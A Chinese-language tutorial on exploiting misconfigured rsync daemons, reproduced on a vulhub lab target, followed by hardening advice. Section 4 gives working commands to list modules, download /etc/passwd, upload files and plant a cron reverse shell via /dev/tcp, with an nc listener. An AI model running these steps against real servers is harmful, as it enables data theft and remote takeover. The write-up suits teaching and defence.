1. 漏洞簡介#
rsync 是 Linux/Unix 下的一個遠程數據同步工具,可以在堕胎主機上同步文件和目錄。默認運行在 873 端口。由於配置不當,導致任何人可未授權訪問 rsync,上傳本地文件,下載服務器文件。
rsync 未授權訪問帶來的危害主要有兩個:
- 一是造成了嚴重的信息洩露
- 二是上傳腳本後門文件,遠程命令執行
2. rsync 配置文件#
參數 | 說明 |
---|---|
uid | 此參數指定與該模塊之間的文件傳輸的用戶名或用戶 ID |
gid | 此參數指定在訪問模塊時將使用的一個或多個組名稱 / ID |
use chroot | 若為 true,則 rsync 在傳輸文件之前首先 chroot 到 path 參數所指定的目錄下。這樣做的原因是實現額外的安全防護,但是缺點是需要 root 權限,並且不能備份指向 path 外部的符號連接所指向的目錄文件 |
max connections | 指定該模塊的最大並發連接數量以保護服務器,超過限制的連接請求將被告知隨後再試 |
syslog facility | 指定 rsync 發送日誌消息給 syslog 時的消息級別 |
pid file | rsync 的守護進程將其 PID 寫入指定的文件 |
log file | 指定 rsync 守護進程的日誌文件,而不將日誌發送給 syslog |
path | 指定當前模塊在 rsync 服務器上的同步路徑,該參數是必須指定的 |
comment | 給模塊指定一個描述,該描述連同模塊名在客戶連接得到模塊列表時顯示給客戶 |
read only | 指定是否允許客戶上傳文件。若為 true 則不允許上傳;若為 false 並且服務器目錄也具有讀寫權限則允許上傳 |
auth users | 指定驗證用戶名,可以不設置,不設置默認不用密碼,設置的話安全性更高點 |
secrets file | 指定密碼文件,如果設定驗證用戶,這一項必須設置,設定密碼權限為 400 |
hosts allow | 設置可以允許訪問的主機,可以是網段,多個 Ip 地址用空格隔開 |
3. rsync 常用命令#
-a, --archive 歸檔模式,表示以遞歸方式傳輸文件,並保持所有文件屬性,等價於 -rlptgoD (注意不包括 -H)
-v, --verbose 詳細輸出模式
-r, --recursive 對子目錄以遞歸模式處理
-l, --links 保持軟鏈接文件,加上這個參數,同步過來的文件會保持之前的軟鏈接屬性不變
-H, --hard-links 保持硬鏈接文件
-p, --perms 保持文件權限
-t, --times 保持文件時間信息
-g, --group 保持文件屬組信息
-o, --owner 保持文件屬主信息 (super-user only)
-D 保持設備文件和特殊文件 (super-user only)
-e, --rsh=COMMAND 指定替代 rsh 的 shell 程序
-z, --compress 在傳輸文件時進行壓縮處理
--stats 給出某些文件的傳輸狀態
--progress 在傳輸時顯示傳輸過程
--timeout=TIME 同步過程中,IP超時時間,單位為秒
--exclude=PATTERN 指定同步時需要過濾掉的文件或子目錄(即不需要同步過去的),後面直接跟不需要同步的單個文件名或子目錄(不需要跟路徑) ,過濾多個文件或子目錄,就使用多個--exclude
--exclude-from=FILE 指定同步時需要過濾掉的文件或子目錄,後面跟文件(比如/root/exclue.txt),然後將不需要同步的文件和子目錄放到/root/exclue.txt下
--include=PATTERN 指定需要傳輸的文件匹配模式
--include-from=FILE 從 FILE 中讀取包含規則
--copy-unsafe-links 拷貝指向SRC路徑目錄樹以外的鏈接文件
--safe-links 忽略指向SRC路徑目錄樹以外的鏈接文件(默認)
--existing 僅僅更新那些已經存在於接收端的文件,而不備份那些新創建的文件
--ignore-existing 忽略那些已經存在於接收端的文件,僅備份那些新創建的文件
-b, --backup 當有變化時,對目標目錄中的舊版文件進行備份
--backup-dir=DIR 與 -b 結合使用,將備份的文件存到 DIR 目錄中
--link-dest=DIR 當文件未改變時基於 DIR 創建硬鏈接文件
--delete 刪除那些目標目錄中有而源目錄中沒有的多餘文件。這個是rsync做增量方式的全備份的最佳選擇方案!!!!!
--delete-before 接受者在輸出之前進行刪除操作。即先將目標目錄中文件全部刪除,再將源目錄文件拷貝過去。這是rsync保持目標目錄跟源目錄一致的方案!!!
--delete-after 在同步操作之後做比較,刪除那些目標目錄中有而源目錄中沒有的多餘文件
--delete-excluded 刪除目標目錄中那些被該選項指定排除的文件
--ignore-errors 即使出現 I/O 錯誤也進行刪除
--partial 保留那些因故沒有完全傳輸的文件,以是加快隨後的再次傳輸
-P 等價於 --partial --progress
--delay-updates 將正在更新的文件先保存到一個臨時目錄(默認為 “.~tmp~”),待傳輸完畢再更新目標文件
-q, --quiet 精簡輸出模式
-h, --human-readable 輸出文件大小使用易讀的單位(如,K,M等)
-n, --dry-run 顯示哪些文件將被傳輸
--list-only 僅僅列出文件而不進行複製
--rsyncpath=PROGRAM 指定遠程服務器上的 rsync 命令所在路徑
--password-file=FILE 從 FILE 中讀取口令,以避免在終端上輸入口令,通常在 cron 中連接 rsync 服務器時使用
--version 打印版本信息
--port=PORT 指定其他的rsync服務端口
--log-format=formAT 指定日誌文件格式
--password-file=FILE 從FILE中得到密碼
--bwlimit=KBPS 限制I/O帶寬,KBytes per second
--help 顯示幫助信息
-4, --ipv4 使用 IPv4
-6, --ipv6 使用 IPv6
4. 漏洞復現#
4.1 靶場搭建#
使用 vulhub 靶場來復現該漏洞
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/rsync/common
sudo docker-compose up -d
4.2 nmap 掃描目標系統是否開放 rsync 服務#
用 nmap 來掃描目標系統是否開放 rsync 服務和漏洞掃描
sudo nmap -p 873 192.168.110.128
sudo nmap -p 873 --script rsync-list-modules 192.168.110.128
4.3 列出目標服務器的同步目錄#
用 rsync 命令列出和查看服務器的同步目錄
rsync 192.168.110.128::
rsync rsync://192.168.110.128:873/src
rsync 192.168.110.128::src
4.4 任意文件下載#
可以下載 /etc/passwd 文件
sudo rsync -av 192.168.110.128::src/etc/passwd ./
4.5 任意文件寫入#
向服務器上傳文件
sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt
sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt
rsync rsync://192.168.110.128:873/src
4.6 利用任意文件寫入、下載功能來 getshell#
sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./
sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell
rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly
nc -lvp 8888
5. 漏洞修復#
- 更改 rysnc 默認配置文件 /etc/rsyncd.conf,添加或修改參數:
- 訪問控制;設置 host allow,限制允許訪問主機的 IP。
- 權限控制;設置 read only,將模塊設置成只讀。
- 訪問認證;設置 auth、secrets,認證成功才能調用服務。
- 模塊隱藏;設置 list,將模塊隱藏。